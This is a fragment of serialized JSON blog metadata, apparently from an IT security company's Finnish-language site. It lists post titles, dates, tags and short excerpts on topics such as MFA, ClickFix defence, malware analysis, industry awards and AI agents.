fsetLeft":13119},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":13437,"authors":13651},[13438,13455,13469,13483,13499,13512,13525,13538,13550,13566,13580,13595,13611,13622,13635],{"id":13439,"title":13440,"author":13441,"cta":494,"description":594,"hideInRecent":484,"layout":12955,"meta":13442,"moment":13447,"path":13448,"stem":13449,"tags":13450,"webcast":484},"content_fi/posts/2026-09-22-end-of-mfa-sms.md","MFA-tekstiviestin loppu",[13114],{"lang":12957,"date":13443,"categories":13444,"blogtitlepic":13445,"customExcerpt":13446},"2026-09-21",[12962],"head-conditional-access.jpg","Miksi yritysten kannattaa nyt siirtyä phishing-kestäviin ja mahdollisimman salasanattomiin kirjautumistapoihin.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[12962,13451,13452,13453,13454],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":13456,"title":13457,"author":13458,"cta":494,"description":594,"hideInRecent":484,"layout":12955,"meta":13459,"moment":13443,"path":13463,"stem":13464,"tags":13465,"webcast":484},"content_fi/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Kun käyttäjä on se exploit, ja miten te pysäytätte sen",[13088,13108],{"lang":12957,"date":13443,"categories":13460,"blogtitlepic":13461,"customExcerpt":13462},[12962],"head-clickfix.jpg","ClickFix tekee käyttäjästä oman hyökkääjänsä: väärennetty CAPTCHA, yksi copy-paste, ja haittakoodi ajaa muistissa ilman että mitään päätyy levylle. Miten Microsoft Defender tunnistaa hyökkäyksen, missä tunnistus tulee rajoilleen ja miten te suljette aukon RunMRU-huntilla ja neljällä suojauslayerilla.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[13466,13467,13468],"Defender","SOC","Endpoint Security",{"id":13470,"title":13471,"author":13472,"cta":494,"description":594,"hideInRecent":484,"layout":12955,"meta":13473,"moment":13443,"path":13477,"stem":13478,"tags":13479,"webcast":484},"content_fi/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin ja arki samalla koneella? Game Over.",[13249],{"lang":12957,"date":13443,"categories":13474,"blogtitlepic":13475,"customExcerpt":13476},[12962],"head-game-over-en.jpg","Miksi yksi tenant ei riitä CIO:lle, ja miksi toista harvoin ajatellaan mukaan. Managed Red Tenant erottaa hallinnollisen työn arkkitehtonisesti toimistoympäristöstä, Managed Dark Tenant pitää yrityksen toimintakykyisenä silloinkin, kun puolustus kaatuu. Mitä se tarkoittaa toimintamallille, SOC-signaalille ja NISG 2026:n näyttövelvollisuuksille.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[12962,13480,13481,13482],"Privileged Access","Zero Trust","NIS2",{"id":13484,"title":13485,"author":13486,"cta":494,"description":13487,"hideInRecent":484,"layout":12955,"meta":13488,"moment":13489,"path":13494,"stem":13495,"tags":13496,"webcast":484},"content_fi/posts/2026-08-08-isg-germany-2026.md","Neljä kertaa Leader. glueckkanja ISG-tutkimuksessa Saksa 2026",[13276],"ISG nimesi tutkimuksensa tänä vuonna uudelleen. Microsoft Cloud Ecosystemistä tuli Microsoft AI and Cloud Ecosystem, ja nimen mukana mittapuu on siirtynyt: arvioitavana ei ole enää se, kuka ottaa Microsoft-alustat käyttöön, vaan se, kuka ylläpitää Copilotia, agentteja ja tekoälyworkloadeja hallittavasti. Asemaamme uusi mittapuu ei muuttanut. ISG Provider Lens® -tutkimus Saksa 2026 asemoi meidät Leaderiksi neljässä kvadrantissa: Microsoft Productivity and Business Process Services ja Azure Managed Services, kummassakin Large Market ja Mid Market. Vuosien 2021, 2023, 2024 ja 2025 jälkeen tämä on viides Leader-luokitus Saksassa, Sveitsissä hyppy Leader-kvadranttiin tapahtui kaksi viikkoa aiemmin.",{"lang":12957,"date":13489,"categories":13490,"blogtitlepic":13492,"customExcerpt":13493},"2026-08-08",[13491],"Corporate","head-isg-de-2026.png","ISG Provider Lens® -tutkimus 2026 asemoi glueckkanjan Saksassa Leaderiksi neljässä kvadrantissa: Microsoft Productivity and Business Process Services ja Azure Managed Services, kummassakin Large ja Mid Market. Tutkimuksen nimi on nyt Microsoft AI and Cloud Ecosystem, ja mittapuu on siirtynyt: arvioidaan, kuka ylläpitää tekoäly- ja agenttiworkloadeja hallittavasti.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[13497,13498],"Award","ISG",{"id":13500,"title":13501,"author":13502,"cta":494,"description":13503,"hideInRecent":484,"layout":12955,"meta":13504,"moment":13505,"path":13509,"stem":13510,"tags":13511,"webcast":484},"content_fi/posts/2026-07-31-isg-switzerland-2026.md","Rising Starista Leaderiksi. glueckkanja ISG-tutkimuksessa Sveitsi 2026",[13276],"Vuonna 2024 perustimme glueckkanja Switzerland AG:n ja otimme käyttöön toimiston zentroomissa osoitteessa Bahnhofplatz 10b Bernissä. Vuonna 2025 ISG luokitteli meidät Sveitsin markkinassa Rising Stariksi, toimittajaksi, jonka analyytikot uskovat hyppäävän Leader-kvadranttiin. Nyt hyppy on dokumentoitu: ISG Provider Lens® -tutkimus 2026 asemoi meidät Sveitsissä Leaderiksi kvadrantissa Microsoft AI and Cloud Ecosystem, alueilla Azure Managed Services ja Microsoft Productivity and Business Process Services.",{"lang":12957,"date":13505,"categories":13506,"blogtitlepic":13507,"customExcerpt":13508},"2026-07-31",[13491],"head-isg-ch-2026.png","ISG Provider Lens® -tutkimus 2026 asemoi glueckkanjan Sveitsissä Leaderiksi kvadrantissa Microsoft AI and Cloud Ecosystem, alueilla Azure Managed Services ja Microsoft Productivity and Business Process Services. Kaksi vuotta Bernin markkinoilletulon jälkeen, vuosi Rising Star -tunnustuksen jälkeen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[13497,13498],{"id":13513,"title":13514,"author":13515,"cta":494,"description":594,"hideInRecent":484,"layout":12955,"meta":13516,"moment":13517,"path":13521,"stem":13522,"tags":13523,"webcast":484},"content_fi/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Mitä OpenAI/Hugging-Face-tapaus paljastaa ja mitä ei",[13249],{"lang":12957,"date":13517,"categories":13518,"blogtitlepic":13519,"customExcerpt":13520},"2026-07-24",[12962],"head-outbreak.jpg","AI-agentti murtautuu ulos testiympäristöstään, löytää nollapäivähaavoittuvuuden ja hakkeroi toisen yrityksen. Kuulostaa käsikirjoitukselta, mutta tapahtui todella heinäkuussa 2026. Aika asettaa asia raittiiseen kehykseen: hieman psykologiaa, kaksi tietoturvaveteraania ja kysymys siitä, mitä tämä merkitsee teidän puolustuksellenne.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[13524,13467,13481],"AI",{"id":13526,"title":13527,"author":13528,"cta":494,"description":13529,"hideInRecent":484,"layout":12955,"meta":13530,"moment":13531,"path":13535,"stem":13536,"tags":13537,"webcast":484},"content_fi/posts/2026-07-22-isg-cybersecurity-2026.md","Leader ja Rising Star. glueckkanja ISG:n Cybersecurity-tutkimuksessa 2026",[13276],"Uutena kvadrantissa ja heti Leader: ISG Provider Lens® -tutkimus \"Cybersecurity – Services and Solutions 2026\" asemoi glueckkanjan Leaderiksi Next-Gen SOC/MDR Services -alueella Saksan keskisuurten yritysten markkinassa. Next-Gen SOC/MDR Services -kokonaismarkkinassa ISG palkitsee meidät Rising Starina, eli toimittajana, jonka analyytikot uskovat hyppäävän Leader-kvadranttiin seuraavien 12–24 kuukauden aikana.",{"lang":12957,"date":13531,"categories":13532,"blogtitlepic":13533,"customExcerpt":13534},"2026-07-22",[13491],"head-isg-cybersecurity-2026.png","ISG Provider Lens® -tutkimus Cybersecurity 2026 palkitsee glueckkanjan Leaderina kvadrantissa Next-Gen SOC/MDR Services (Midmarket). Next-Gen SOC/MDR Services -kokonaismarkkinassa olemme Rising Star. ISG toteaa meille keskimääräistä paremman kasvun, syvän Microsoft-tietoturvaosaamisen ja 24/7-SOC:n Saksasta.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[13497,13498,12962],{"id":13539,"title":13540,"author":13541,"cta":494,"description":13542,"hideInRecent":484,"layout":12955,"meta":13543,"moment":13544,"path":13547,"stem":13548,"tags":13549,"webcast":484},"content_fi/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: mitä tekoäly todella tarvitsee tehdäkseen työtä",[13276],"Valmistava yritys haluaa tietää, mitkä sen 14 000 SKU:sta ovat todella kannattavia. Vastaus on kolmessa järjestelmässä, jotka eivät ole koskaan vaihtaneet keskenään yhtäkään datapistettä. Vielä vähän aikaa sitten sen selvittäminen vaati kolme osastoa, kaksi viikkoa ja aimo annoksen hyvää tahtoa. Vuoden 2026 alusta tekoäly pystyy vastaamaan tähän kysymykseen minuuteissa: käymään datan läpi, luomaan yhteyksiä, tuottamaan suosituksen. Edellyttäen, että sillä on pääsy.",{"lang":12957,"date":13544,"categories":13545,"blogtitlepic":13546},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[13524,131],{"id":13551,"title":13552,"author":13553,"cta":494,"description":13554,"hideInRecent":484,"layout":12955,"meta":13555,"moment":13556,"path":13560,"stem":13561,"tags":13562,"webcast":484},"content_fi/posts/2026-07-01-onboarding-process.md","Sopimus allekirjoitettu: näin perehdytyksesi meillä etenee",[13366],"Miten teidän perehdytyksenne oikeastaan etenee? Kysymys, joka tulee vastaan yhä uudelleen keskusteluissa hakijoiden kanssa, sillä moni on jo kerran kokenut takkuisen perehdytyksen. Sitäkin tärkeämpää meille on antaa sinulle hyvä tunne alusta alkaen.",{"lang":12957,"date":13556,"categories":13557,"blogtitlepic":13558,"customExcerpt":13559},"2026-07-01",[13491],"Onboarding_Blogheader","Sopimus on allekirjoitettu, ensimmäinen suuri askel on otettu. Mutta miten tästä eteenpäin? Otamme sinut mukaan kulissien taakse perehdytykseemme, PreBoardingista ensimmäiseen viikkoon tiimissä.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[13563,13564,13565],"Employer Branding","Onboarding","Unternehmenskultur",{"id":13567,"title":13568,"author":13569,"cta":494,"description":13570,"hideInRecent":484,"layout":12955,"meta":13571,"moment":13572,"path":13576,"stem":13577,"tags":13578,"webcast":484},"content_fi/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: kuulumme joukkoon",[13276],"Microsoftin kumppaniekosysteemissä on koko joukko tunnustuksia, ja silti Frontier Partner -merkki erottuu rakenteeltaan muista palkinnoista. Sitä ei voi hakea, vaan Microsoft myöntää sen omasta aloitteestaan pienelle joukolle kumppaneita, joiden on vakuutettava useammalla osa-alueella rinnakkain sen sijaan, että loistaisivat vain yhdellä. Microsoft arvioi tässä osoitettua osaamista Cloud & AI Platforms-, AI Business Solutions- ja Security-alueilla yhtä lailla ja puhuttelee näin yrityksiä, jotka eivät ymmärrä tekoälyä olemassa olevan IT:n päälle liimattuna lisänä vaan yhtenäisen arkkitehtuurin tuloksena, joka kantaa identiteetistä päätelaitteen kautta tuotannolliseen tekoälykäyttöön asti.",{"lang":12957,"date":13572,"categories":13573,"blogtitlepic":13574,"customExcerpt":13575},"2026-06-26",[13491],"head-frontier-partner-badge.jpg","Microsoft AI Cloud Partner Program -ohjelmaan on hiljattain tullut uusi huipputunnustus, Frontier Partner -merkki. Microsoft myöntää sen ainoastaan pienelle joukolle kumppaneita maailmanlaajuisesti, jotka toimittavat tekoälyprojekteja kestävästi koko Microsoft-stackin läpi, työpaikasta pilvialustaan ja tietoturvaan sekä itse tekoälysovellukseen asti, ja jotka ovat osoittaneet tämän käytännössä. DACH-alueella tähän joukkoon kuuluu vain kourallinen yrityksiä, ja me olemme yksi niistä.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[13497,13579,13524],"Microsoft Partner",{"id":13581,"title":13582,"author":13583,"cta":494,"description":13584,"hideInRecent":484,"layout":12955,"meta":13585,"moment":13586,"path":13590,"stem":13591,"tags":13592,"webcast":484},"content_fi/posts/2026-06-09-vair-run.md","160 kilometriä hyvän asian puolesta",[13373],"Sunnuntaiaamu, klo 8:30, Holbeinsteg Main-joen varrella. Yksitoista kollegaa yhtenäisissä NinjaCat-paidoissa, valmiina Frankfurter Runden -tapahtumaan. Sateen, salamoiden ja ukkosen kera. Hyvän asian puolesta juokseminen oli riittävä motivaatio nyöritä juoksukengät huonosta säästä huolimatta.",{"lang":12957,"date":13586,"categories":13587,"blogtitlepic":13588,"customExcerpt":13589},"2026-06-08",[13491],"frankfurter-runden.png","Yksitoista kollegaa, 16 kierrosta, 160 kilometriä, ukkosmyrsky ja palkintopallisija: glueckkanja osallistui Frankfurter Runden 2026 -tapahtumaan ja lahjoitti jokaisesta juostusta kierroksesta VAIR e.V.:lle, joka rakentaa Offenbachiin inklusiivista liikunta- ja kulttuuripuistoa.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[13593,13563,13594],"Top Arbeitgeber","Soziales Engagement",{"id":13596,"title":13597,"author":13598,"cta":494,"description":13599,"hideInRecent":484,"layout":12955,"meta":13600,"moment":13601,"path":13605,"stem":13606,"tags":13607,"webcast":484},"content_fi/posts/2026-04-10-incident-to-intelligence.md","Tuntemattoman AMOS Stealerin anatomia: alertista immuniteettiin tunneissa",[523],"Kun SOC:ssamme laukeaa alert, kello alkaa käydä: ei vain kyseiselle asiakkaalle vaan kaikille organisaatioille suojamme alla. Vaarallisin hetki nykyaikaisessa uhkaympäristössä on Intelligence Gap, se aikaikkuna uuden haittaohjelmavariantin ensimmäisen käytön ja sen päivän välillä, jona ala saa siitä tiedon.",{"lang":12957,"date":13601,"categories":13602,"blogtitlepic":13603,"customExcerpt":13604},"2026-04-10",[12962],"head-amos-stealer.png","Tähän asti dokumentoimaton AMOS-stealerin variantti kompromentoi macOS-endpointin. Ei tunnettuja hasheja, ei C2-tietoja julkisissa tietokannoissa. SOC:mme purki kuusi obfuskointikerrosta, poimi kaikki indikaattorit ja jakoi suojauksen kaikille SOC-asiakkaille tunneissa, jo ennen kuin ala oli edes nähnyt samplea.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[13078,13608,13609,13610,13079],"Incident Response","macOS Security","Malware Analysis",{"id":13612,"title":13613,"author":13614,"cta":494,"description":13615,"hideInRecent":484,"layout":12955,"meta":13616,"moment":13617,"path":13620,"stem":13621,"tags":494,"webcast":484},"content_fi/posts/2026-03-21-microsoft-edge-corporate-browser.md","Miksi Edgen pitäisi olla ainoa Corporate Browserinne",[13145],"Selaimen valinta on yritysympäristöissä strateginen päätös: se vaikuttaa suoraan siihen, kuinka paljon turvallisuutta ja hallintatyötä teillä todellisuudessa on. Google Chrome oli pitkään ilmeinen valinta, mutta Microsoft Edge on kehittynyt selaimeksi, joka kytkeytyy suoraan olemassa olevaan stackiin, etenkin kun Microsoft 365 on käytössä ja hallinta hoidetaan Intunen kautta.",{"lang":12957,"date":13617,"blogtitlepic":13618,"customExcerpt":13619},"2026-03-21","head-microsoft-edge-default-browser.jpg","Mikään yritys ei ole oikeasti valinnut Chromea; se oli vain siellä, omalla synkronointilogiikallaan, omalla tilinhallinnallaan, omalla käytäntöjen käyttöliittymällään. Microsoft Edge sen sijaan kytkeytyy suoraan infrastruktuuriin, joka on jo muutenkin käytössä: Entra ID, Intune, Defender. Tämä artikkeli näyttää, miltä vaihto näyttää, miten Chrome uudelleenohjataan Intune-käytännöllä laskeutumissivulle ja mikä jää pois, kun lakkaa käyttämästä kahta selainta rinnakkain.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":13623,"title":13624,"author":13625,"cta":494,"description":13626,"hideInRecent":484,"layout":12955,"meta":13627,"moment":13628,"path":13632,"stem":13633,"tags":13634,"webcast":484},"content_fi/posts/2026-03-20-stryker-attack-intune-privilege.md","Yksi admin-tili oli kaikki, mitä siihen tarvittiin.",[13249],"Keskiviikko 11. maaliskuuta 2026. Stryker-toimistojen työntekijät 79 maassa käynnistivät tietokoneensa ja löysivät ne tyhjinä. Kirjautumisnäytöt korvattuina logolla. Yrityksen kannettavat, työpuhelimet, yksityiset laitteet, jotka oli rekisteröity yrityksen BYOD-ohjelmaan – kaikki pyyhitty yhtä aikaa, yhden yön aikana. Ei kiristysohjelmaa, ei haittaohjelmasignatuureja, ei mitään, minkä päätelaitteiden suojaustyökalu olisi voinut havaita.",{"lang":12957,"date":13628,"categories":13629,"blogtitlepic":13630,"customExcerpt":13631},"2026-03-20",[12962],"head-stryker.jpg","11. maaliskuuta 2026 Handala pyyhki laitteita 79 maassa, ja siihen tarvittiin vain yksi kaapattu Intunen admin-tili. Ei haittaohjelmia, ei exploittia, pelkkiä laillisia hallintatyökaluja käännettynä niiden omistajia vastaan. Mitä tapahtui, miksi se toimi ja mitkä kaksi arkkitehtuurin aukkoa on suljettava.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,13480,13481],{"id":13636,"title":13637,"author":13638,"cta":494,"description":13639,"hideInRecent":484,"layout":12955,"meta":13640,"moment":13641,"path":13645,"stem":13646,"tags":13647,"webcast":484},"content_fi/posts/2026-03-16-ai-agent-hackathon.md","Kuusi agenttia. Neljä viikkoa. Aitoa tuotantokäyttöä.",[13276],"Kuinka monta tuntia viikossa IT-osastonne käyttää tehtäviin, jotka agentti hoitaisi minuuteissa?",{"lang":12957,"date":13641,"categories":13642,"blogtitlepic":13643,"customExcerpt":13644},"2026-03-16",[13491],"head-ai-agent-hackathon.jpg","Kuusi yritystä, neljän viikon rakennusvaihe, kuusi toimivaa AI-agenttia – siitä oli kyse ensimmäisessä glueckkanja AI Agent Hackathonissa. Kiekert, Dr. Oetker, Eckes-Granini, igefa ja lila logistik rakensivat Copilot Studiossa agentteja, jotka ovat tänään tuotannossa. Mitä siinä syntyi ja miten formaatti toimii.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[13524,13648,13649,13650],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":13652,"Fritz Zurhorst":13653,"Nadine Klein":13654,"Jan Geisbauer":13655,"Carolin Kanja":13659,"Anna Ulbricht":13660,"Annette Brauns":13661,"Pascal Asch":13662,"Steffen Schwerdtfeger":13663},{"display_name":13114,"avatar":13115,"permalink":13116,"twitter":13117,"linkedin":13118,"imageOffsetTop":13119,"imageOffsetLeft":13120},{"display_name":13088,"avatar":13089,"permalink":13090,"linkedin":13091,"imageOffsetTop":13092},{"display_name":13108,"avatar":13109,"permalink":13110,"twitter":13111,"linkedin":13112,"imageOffsetTop":13092},{"display_name":13249,"avatar":13250,"permalink":13251,"twitter":13252,"linkedin":13252,"imageOffsetTop":13092,"socials":13656},[13657,13658],{"text":13255,"href":13256},{"text":13258,"href":13259},{"display_name":13276,"avatar":13277,"permalink":13278,"twitter":13279,"linkedin":13280},{"display_name":13366,"avatar":13367,"permalink":13368,"linkedin":13369,"imageOffsetTop":13370,"imageOffsetLeft":13371},{"display_name":13373,"avatar":13374,"permalink":13375,"linkedin":13376,"imageOffsetTop":13377,"imageOffsetLeft":13119},{"display_name":523,"avatar":13355,"permalink":13356,"linkedin":13357,"imageOffsetTop":13192},{"display_name":13145,"avatar":13146,"permalink":13147,"linkedin":13148,"twitter":13149,"imageOffsetTop":13150,"imageOffsetLeft":13151},{"id":13083,"extension":13084,"meta":13665,"stem":8,"__hash__":13435},{"Pascal Asch":13666},{"display_name":523,"avatar":13355,"permalink":13356,"linkedin":13357,"imageOffsetTop":13192},1791383927428]